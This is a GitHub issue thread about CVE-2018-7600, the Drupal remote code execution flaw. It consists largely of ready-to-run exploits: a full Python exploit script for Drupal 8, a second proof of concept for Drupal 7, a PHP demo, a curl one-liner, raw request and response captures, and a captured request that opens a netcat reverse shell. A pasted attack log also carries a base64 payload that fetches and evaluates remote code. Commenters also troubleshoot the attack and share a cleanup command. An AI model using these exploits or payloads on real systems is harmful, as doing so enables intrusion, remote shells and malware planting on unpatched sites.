nixawk / labs

Vulnerability Labs for security analysis
1.16k stars 440 forks source link

[Exploit] CVE-2018-7600 - drupal: Unsanitized requests allow remote attackers to execute arbitrary code #19

Open nixawk opened 6 years ago

nixawk commented 6 years ago

Description

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

Exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# CVE-2018-7600
# Drupal: Unsanitized requests allow remote attackers to execute arbitrary code

"""Tested against Drupal 8.4.5

$ wget -c https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
$ setup Apache2 + Mysql + Drupal

$ python exploit-CVE-2018-7600.py http://192.168.1.19 "pwd"
/var/www/html

----

POST /user/register?element_parents=account%2Fmail%2F%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 144
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=printf admin | md5sum

HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 05:19:28 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 191
Connection: close
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"21232f297a57a5a743894a0e4a801fc3  -\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

"""

# sudo pip install requests

from __future__ import print_function

__all__ = ['exploit']
__author__ = [
    'a2u',   # module developer
    'Nixawk' # module Improved
]

import sys
import requests

def send_http_payload(drupal_home_url, php_func, php_func_param):
    """Exploit CVE-2018-7600 drupal: Unsanitized requests
    allow remote attackers to execute arbitrary code
    """

    params = {
        'element_parents': 'account/mail/#value',
        'ajax_form': 1,
        '_wrapper_format': 'drupal_ajax'
    }

    payload = {
        'form_id': 'user_register_form',
        '_drupal_ajax': '1',
        'mail[#type]': 'markup',
        'mail[#post_render][]': php_func,
        'mail[#markup]': php_func_param
    }

    # Clean URLs - Enabled
    url = requests.compat.urljoin(drupal_home_url, '/user/register')

    return requests.post(
        url,
        params=params,
        data=payload
    )

def check(drupal_home_url):
    """Check if the target is vulnerable to CVE-2018-7600.
    """
    status = False

    randflag = 'CVE-2018-7600'
    vulnflag = randflag + '[{"command":"insert"'
    response = send_http_payload(drupal_home_url, 'printf', randflag)
    if response and response.status_code == 200 and randflag in response.text:
        print("[*] %s is vulnerable" % drupal_home_url)
        status = True
    else:
        print("[?] %s is unknown" % drupal_home_url)

    return status

def exploit(drupal_home_url, php_exec_func='passthru', command='whoami'):
    """Execute os command.
    """
    response = send_http_payload(drupal_home_url, php_exec_func, command)
    if '[{"command":"insert"' in response.text:
        command_output, _ = response.text.split('[{"command":"insert"')
        print(command_output)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python %s <drupal-home-url> <cmd>" % sys.argv[0])
        sys.exit(0)

    exploit(sys.argv[1], command=sys.argv[2])

References

nixawk commented 6 years ago

Clean URLs Disabled Your server is capable of using clean URLs, but it is not enabled. Using clean URLs gives an improved user experience and is recommended. Enable clean URLs

# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
...
# cat /var/www/html/.htaccess 
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]
nixawk commented 6 years ago

print os command output directly.

$ py3 exploit-CVE-2018-7600.py http://192.168.1.19 "ls -al"
total 276
drwxr-xr-x  9 root root   4096 Apr 14 05:38 .
drwxr-xr-x  3 root root   4096 Apr 13 22:27 ..
-rw-r--r--  1 root root    867 Apr 12 22:20 .htaccess
drwxr-xr-x  3 root root   4096 Apr 14 05:32 .idea
-rw-r--r--  1 root root  18092 Apr 13 10:24 LICENSE.txt
-rw-r--r--  1 root root   5889 Apr 13 10:24 README.txt
-rw-r--r--  1 root root    262 Apr 13 10:24 autoload.php
-rw-r--r--  1 root root   2247 Apr 13 10:24 composer.json
-rw-r--r--  1 root root 150618 Apr 13 10:24 composer.lock
drwxr-xr-x 12 root root   4096 Apr 13 10:24 core
-rw-r--r--  1 root root   1272 Apr 13 10:24 example.gitignore
-rw-r--r--  1 root root    549 Apr 13 10:24 index.php
drwxr-xr-x  2 root root   4096 Apr 13 10:24 modules
-rw-r--r--  1 root root     19 Apr 13 22:38 phpinfo.php
drwxr-xr-x  2 root root   4096 Apr 13 10:24 profiles
-rw-r--r--  1 root root   1596 Apr 13 10:24 robots.txt
drwxr-xr-x  3 root root   4096 Apr 13 10:24 sites
drwxr-xr-x  2 root root   4096 Apr 13 10:24 themes
-rw-r--r--  1 root root    848 Apr 13 10:24 update.php
drwxr-xr-x 17 root root   4096 Apr 13 10:24 vendor
-rw-r--r--  1 root root   4555 Apr 13 10:24 web.config

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 167
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=nohup+nc+-e+%2Fbin%2Fbash+127.0.0.1+4444+%26HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 02:45:34 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
nixawk commented 6 years ago

drupal-rce-debug

nixawk commented 6 years ago
---->> Filename: /path/to/drupal/core/lib/Drupal/Core/Render/Renderer.php
---->> Function: doRender()

// Filter the outputted content and make any last changes before the content
// is sent to the browser. The changes are made on $content which allows the
// outputted text to be filtered.
if (isset($elements['#post_render'])) {
  foreach ($elements['#post_render'] as $callable) {
    if (is_string($callable) && strpos($callable, '::') === FALSE) {
      $callable = $this->controllerResolver->getControllerFromDefinition($callable);
    }
    $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
  }
}

public function getControllerFromDefinition($controller, $path = '') {
  if (is_array($controller) || is_object($controller) && method_exists($controller, '__invoke')) {
    return $controller;
  }
  if (strpos($controller, ':') === FALSE) {
    if (function_exists($controller)) {
      return $controller;
    }
    elseif (method_exists($controller, '__invoke')) {
      return new $controller();
    }
  }
  $callable = $this
    ->createController($controller);
  if (!is_callable($callable)) {
    throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
  }
  return $callable;
}
nixawk commented 6 years ago
---->> Filename: core/lib/Drupal/Core/Controller/ControllerResolver.php
---->> Function: getControllerFromDefinition

passthru

  public function getControllerFromDefinition($controller, $path = '') {
    if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
      return $controller;
    }

    if (strpos($controller, ':') === FALSE) {
      if (function_exists($controller)) {   // ---->> If $controller == 'passthru', return True
        return $controller;
      }
      elseif (method_exists($controller, '__invoke')) {
        return new $controller();
      }
    }

    $callable = $this->createController($controller);

    if (!is_callable($callable)) {
      throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
    }

    return $callable;
  }

base64_encode

public function getControllerFromDefinition($controller, $path = '') {
if (is_array($controller) || (is_object($controller) && method_exists($controller, '__invoke'))) {
  return $controller;
}

if (strpos($controller, ':') === FALSE) {
  if (function_exists($controller)) {   // ----> If $controller == 'base64_encode', return False
    return $controller;
  }
  elseif (method_exists($controller, '__invoke')) {
    return new $controller();
  }
}

$callable = $this->createController($controller);

if (!is_callable($callable)) {
  throw new \InvalidArgumentException(sprintf('The controller for URI "%s" is not callable.', $path));
}

return $callable;
}
nixawk commented 6 years ago

A php demo is prepared for exp tests. It shows how to exploit CVE-2018-7600.

root@lab:~# php /tmp/bug.php passthru id
PHP Warning:  Parameter 2 to passthru() expected to be a reference, value given in /tmp/bug.php on line 38
PHP Stack trace:
PHP   1. {main}() /tmp/bug.php:0
PHP   2. drupal_cve_2018_7600() /tmp/bug.php:45
uid=0(root) gid=0(root) groups=0(root)

root@lab:~# php /tmp/bug.php printf drupal
drupal6
<?php

// Author: Nixawk
// CVE-2018-7600: Unsanitized requests allow remote attackers to execute arbitrary code

// Usage:
// $ php drupal-rce-php.php passthru id

function drupal_cve_2018_7600($func, $param)
{
    $elements = array(
        "#markup" => "{Drupal\Core\Render\Markup}",
        "#type"   => "markup",
        "#post_render" => array(
        0 => $func
        ),
        "#suffix" => "<span class=\"ajax-new-content\"></span>",
        "#prefix" => "",
        "#cache"  => array(
            "contexts" => array(
            0 => "languages:language_intreface",
            1 => "theme",
            2 => "user.permissions"
            ),
            "tags" => array(),
        "max-age" => -1
        ),
        "#defaults_loaded" => true,
        "#attached" => array(),
        "#children" => array(
          "string" => $param
        )
    );

    // echo $elements['#children']["string"] . "\n";

    $elements['#children']["string"] = call_user_func(
        // $callable = $elements["#post_render"]["0"];
        $elements["#post_render"]["0"],
        $elements['#children']["string"], 
        $elements
    );

    echo $elements['#children']["string"] . "\n";

}

drupal_cve_2018_7600($argv[1], $argv[2]);

?>
nixawk commented 6 years ago
apt-get update
apt-get install apache2 php
apt-get install mariadb-server-10.1 mariadb-client-10.1
apt-get install php-mysql php-gd php-xml php-xdebug
# apache2 --version
[Sat Apr 14 10:02:10.979265 2018] [core:warn] [pid 10482] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot

# php --version
PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.4-1, Copyright (c) 1999-2018, by Zend Technologies

# java -version
java version "10" 2018-03-20
Java(TM) SE Runtime Environment 18.3 (build 10+46)
Java HotSpot(TM) 64-Bit Server VM 18.3 (build 10+46, mixed mode)
# service mysql start
# cat <<EOF > adduser.sql
USE mysql;
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;
SELECT USER,PASSWORD,HOST FROM USER;
EOF
# mysql -h 127.0.0.1 -u root -p mysql < adduser.sql
# service apache2 start
# apachectl -M
# wget https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
# tar xvf drupal-8.4.5.tar.gz -C /tmp/
# rm -rf /var/www/html/index.html
# cp -rf /tmp/drupal-8.4.5/* /var/www/html/
# mkdir /var/www/html/sites/default/files
# cp /var/www/html/sites/default/default.settings.php /var/www/html/sites/default/settings.php
# chown -R www-data:www-data /var/www/html/
# a2enmod rewrite
# cat /etc/apache2/apache2.conf
....
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
...

# cat /var/www/html/.htaccess 
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=favicon.ico
RewriteRule ^ index.php [L]
# tar xvf jdk-10_linux-x64_bin.tar.gz
# mv jdk-10/ /opt/
# cd /opt/jdk-10/
# update-alternatives --install /usr/bin/java java /opt/jdk-10/bin/java 1
# update-alternatives --install /usr/bin/javac javac /opt/jdk-10/bin/javac 1
# update-alternatives --set java /opt/jdk-10/bin/java
# update-alternatives --set javac /opt/jdk-10/bin/javac
# tar xvf PhpStorm-2018.1.1.tar.gz -C /tmp/
# mv /tmp/PhpStorm-181.4445.72/ /usr/share/phpstorm
# /usr/share/phpstorm/bin/phpstorm.sh
# cat /etc/php/7.2/apache2/conf.d/20-xdebug.ini 
zend_extension=xdebug.so
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000
xdebug.remote_log="/var/log/xdebug/xdebug.log"
javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+'PHPSTORM'+';path=/;';})()

javascript:(/** @version 0.5.2 */function() {document.cookie='XDEBUG_SESSION='+''+';expires=Mon, 05 Jul 2000 00:00:00 GMT;path=/;';})()

References

antonio-fr commented 6 years ago

Can you say whether the response of the command (exec, passthru,...) is in data field or at the beginning or the POST response? I'm using passthru and Drupal v8.5.0 and the server responds with the output just before the normal response: Commad_Output[{"command":"insert","method":"replaceWith",... }]

See at: https://github.com/antonio-fr/DrupalRS

In the exploit code here-upper provided by @nixawk , tested on v8.4, the output is sent back in data field. So I'm wondering if this is specific to v8.5, or for the passthru command?

dbjpanda commented 6 years ago

I am able to exploit with Drupal 8 but It doesn't work with Drupal 7 . Does it really work for D7 as well ?

nixawk commented 6 years ago

@antonio-fr The exploit tests against drupal 8.4.5. If passthru should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

From php.net

void passthru ( string $command [, int &$return_var ] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

data-field

nixawk commented 6 years ago

@dbjpanda Please try FireFart's Poc for 7.x.

#!/usr/bin/env python3

"""
Written by Christian Mehlmauer
  https://firefart.at/
  https://twitter.com/_FireFart_
  https://github.com/FireFart
This script can be obtained from:
  https://github.com/FireFart/CVE-2018-7600
Requirements:
  - python3
  - python requests (pip install requests)
Usage:
  - Install dependencies
  - modify the HOST variable in the script
  - run the code
  - win
"""

import requests
import re

HOST="http://192.168.60.129/"

get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(HOST, data=post_params, params=get_params)
    print(r.text)

Vulnerability Details can be here:

antonio-fr commented 6 years ago

@nixawk Thx for telling me about passthru. I was thinking erroneously that the answer was extracted from response data field in your code. So I didn't understand if some systems or queries would answer like that. I did some tests on various config and the response were always in server response overhead (before [command:... ). Then, I have updated my Drupal own script published on Github with v7. It is python without requests dependencies.

nixawk commented 6 years ago

Good job !

jedthe3rd commented 6 years ago

Is there any reason I would be getting no output? I setup a drupal 8.4.5 locally and when I run the script I get no output.

alfonsocaponi commented 6 years ago

I follow the instructions but it seems that the version 8.4.5 is not vulnerable on my system:

Ubuntu 16.04.3 LTS PHP Version 7.0.22-0ubuntu0.16.04.1

other evidences?

nixawk commented 6 years ago

@alfonsocaponi Could you share your packets here ? A pcap may be useful.

alfonsocaponi commented 6 years ago

POST /user/register?element_parents=account%2Fmail%2F%23value&_wrapper_format=drupal_ajax&ajax_form=1 HTTP/1.1 Host: 192.168.253.128 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.12.4 Content-Length: 130 Content-Type: application/x-www-form-urlencoded

mail%5B%23markup%5D=pwd&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=passthruHTTP/1.1 200 OK Date: Mon, 23 Apr 2018 11:48:42 GMT Server: Apache/2.4.18 (Ubuntu) Cache-Control: must-revalidate, no-cache, private X-UA-Compatible: IE=edge Content-language: en X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Expires: Sun, 19 Nov 1978 05:00:00 GMT X-Generator: Drupal 8 (https://www.drupal.org) X-Drupal-Ajax-Token: 1 Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}] dump.zip

gamebenchjake commented 6 years ago

Just got hit with this exploit running 8.5.4, clean-urls are enabled:

176.126.252.11 - - [08/Jun/2018:13:01:41 +0200] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup HTTP/1.1" 200 35140 "https://<URL PLACEHOLDER>/?q=user%2Fpassword&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Nhc3RsZWphenouY2gvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2luc2Rmc2R2cy50eHQiICkgKSA7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"

malworm commented 6 years ago

curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://127.0.0.1/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

i'm my case the result is:

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

drupal version is 8.5.0...

gamebenchjake commented 6 years ago

@violennz Update to 8.5.4, the patch was included in 8.5.1, so hopefully it'll mitigate the majority of attempts, though I'm still being hit with it at 8.5.4

Also, you can run this to clean your drupal site:

find ./ -type f -name "*.php" -exec sed -i s/.*457563643.*/\<\?php/g {} +

That should remove the injected header line and replace it back with your opening <?php tag